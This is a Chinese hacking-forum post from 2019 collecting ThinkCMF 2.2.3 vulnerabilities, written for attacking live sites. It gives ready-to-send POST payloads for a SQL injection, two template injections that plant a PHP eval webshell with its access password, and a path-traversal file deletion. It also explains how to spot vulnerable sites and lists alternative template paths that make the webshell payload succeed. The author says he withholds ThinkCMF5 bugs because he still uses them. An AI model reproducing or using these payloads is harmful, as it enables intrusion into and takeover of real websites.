資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記
標(biāo)題: thinkcmf漏洞集合 [打印本頁(yè)]
作者: 1366875557 時(shí)間: 2019-5-20 15:56
標(biāo)題: thinkcmf漏洞集合
thinkcmf漏洞集合
在先知逛的時(shí)候看到的的,后面發(fā)現(xiàn)是thinkcmf 翻了一下自己的漏洞庫(kù)對(duì)比了一下版本發(fā)現(xiàn),泡泡大佬這里看的是1.6版本的,而官方最后的版本 2.2.3 所以做一下漏洞補(bǔ)充。
注:thinkcmf 并沒(méi)有死,他擁有兩個(gè)版本一個(gè)是 thinkcmf5 一個(gè)是 thnkcmf2.2.3 但是這兩個(gè)版本都有漏洞,因?yàn)楝F(xiàn)在thinkcmf2.2.3使用的人越來(lái)越少了,所以爆出來(lái),至于5嘛,=-=不好意思,我還有用,所以不能發(fā),請(qǐng)見(jiàn)諒
0x01 前臺(tái)用戶文章編輯提交存在注入
0x01.1 漏洞演示
前臺(tái)的文章編輯中操作框架注入,所以可以直接sql注入
url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
post:
term:123
post[post_title]:123
post[post_title]:aaa
post_title:123
post[id][0]:bind
post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
(, 下載次數(shù): 58)
0x01.2 漏洞原理文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(
(, 下載次數(shù): 63)
這里不多講,因?yàn)闆](méi)得意義。詳情請(qǐng)看先知的歷史tp漏洞,謝謝:)
0x02 前臺(tái)模版注入漏洞-可getshell兩處
0x02.1 Comment類模版引擎注入演示
url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
發(fā)送之后頁(yè)面http狀態(tài)會(huì)為200,這樣就表示成功了
簡(jiǎn)單講解一下:content 我輸入了php代碼所以他會(huì)在本地跟路徑創(chuàng)建一個(gè)一句話木馬test.php
所以實(shí)戰(zhàn)過(guò)程中。
連接馬子:http://xxxxx.com/test.php 密碼:11
即可getshell
(, 下載次數(shù): 58)
(, 下載次數(shù): 69)
0x02.2 Api類模版注入1
url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
同上一樣,會(huì)在跟目錄生成 馬子 test1.php
0x02.3 漏洞原理
路徑:ThinkCMFX\application\Comment\Controller\WidgetController.class.php
路徑:ThinkCMFX\application\Api\Controller\PluginController.class.php
兩處的漏洞原理都是一樣的,所以我就選一處進(jìn)行講解了
路徑:application\Comment\Controller\WidgetController.class.php
方法:public function fetch(
(, 下載次數(shù): 70)
從名字查看我們會(huì)發(fā)現(xiàn)他的3個(gè)參數(shù)
$templateFile=模版地址
$content=內(nèi)容
$prefix=前綴
$templateFile就是我們要包含的文件了,我們必須包含一個(gè)不然,代碼會(huì)報(bào)錯(cuò),導(dǎo)致無(wú)法寫shell
$content 我們寫馬子的地方
$prefix 忽略他即可,沒(méi)有用的
在代碼中我們看到一個(gè) $templateFile 給parseTemplate函數(shù)包含了,這里我們也不用管他,因?yàn)樗淖饔镁褪桥袛嘁幌挛募欠翊嬖诙眩晕覀冊(cè)趯?shí)戰(zhàn)的時(shí)候,可以找到一處html文件包含即可
而tp的模版引擎 使用的是 smarty 而smarty中只要可控制內(nèi)容的key 與 value 即可寫入shell命令,所以同理可得,tp的 $content 我們可控 = 有模版注入
0x03 任意文件刪除-只能windows刪除0x03.1 漏洞演示
(, 下載次數(shù): 65)
post:
mgurl=..........\1.txt
0x03.2 漏洞原理
路徑:ThinkCMFX\application\User\Controller\ProfileController.class.php
方法:blic function do_avatar(
(, 下載次數(shù): 66)
從文件可以看到 $imgurl=str_replace(‘/‘,’’,$imgurl); 過(guò)濾了 / 但是沒(méi)有過(guò)濾 所以我們無(wú)法引入 / 并且在更新頭像以后還會(huì)從前端接收參數(shù) imgurl 帶入函數(shù)sp_delete_avatar 跟進(jìn)去
路徑:ThinkCMFX\application\Common\Common\function.php
方法:function sp_delete_avatar(
0x04 使用說(shuō)明前面說(shuō)了,thinkcmf 并沒(méi)有死,并且有3版本與5版本這里提供一些方法,幫助你們辨別哪一些是可以日的,那一些事不行的。
1,看logo 3的logo是黃色的例如下圖
2,在網(wǎng)站url 后面輸入 admin
如果頁(yè)面是藍(lán)色的表示是3的,可日穿之
3,查看 README.md
在網(wǎng)站url后面輸入README.md
另外還有一個(gè)說(shuō)明,你在實(shí)際操作的過(guò)程中,可能會(huì)遇到他一直報(bào)這個(gè)錯(cuò)
post:
templateFile=/../public/index
prefix=''
content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>
請(qǐng)放心這并不是說(shuō)明漏洞不可使用,而是說(shuō),這個(gè)模版不存在,你可以換一個(gè)html即可
例如:
/../public/index
/../public/exception
/../data/index
/../data/runtime/index
/../plugins/Mobileverify/View/admin_index
/../plugins/Mobileverify/View/index
/../plugins/Mobileverify/View/widget
/../plugins/Demo/View/admin_index
/../plugins/Demo/View/index
/../plugins/Demo/View/widget
/../application/Install/View/Public/footer
/../application/Install/View/Public/head
/../application/Install/View/Public/header
/../application/Common/index
/../application/Portal/Lang/en-us/index
/../application/Api/Lang/en-us/index
/../application/Api/Lang/zh-cn/index
/../application/Comment/Lang/en-us/index
/../application/Comment/Lang/zh-cn/index
post:
templateFile=/../../../public/index
prefix=''
content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
/../../../public/index
/../../../public/exception
/../../../data/index
/../../../data/runtime/index
/../../../plugins/Mobileverify/View/admin_index
/../../../plugins/Mobileverify/View/index
/../../../plugins/Mobileverify/View/widget
/../../../plugins/Demo/View/admin_index
/../../../plugins/Demo/View/index
/../../../plugins/Demo/View/widget
/../../../application/Install/View/Public/footer
/../../../application/Install/View/Public/head
/../../../application/Install/View/Public/header
/../../../application/Common/index
/../../../application/Portal/Lang/en-us/index
/../../../application/Api/Lang/en-us/index
/../../../application/Api/Lang/zh-cn/index
/../../../application/Comment/Lang/en-us/index
/../../../application/Comment/Lang/zh-cn/index
還有最后一句廢話:模版注入對(duì)于linux 并不好用 : )
差不多了,剩下的自己去thinkcmf里面自己找
歡迎光臨 資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記 (http://rigasin.com/) |
Powered by Discuz! X3.4 |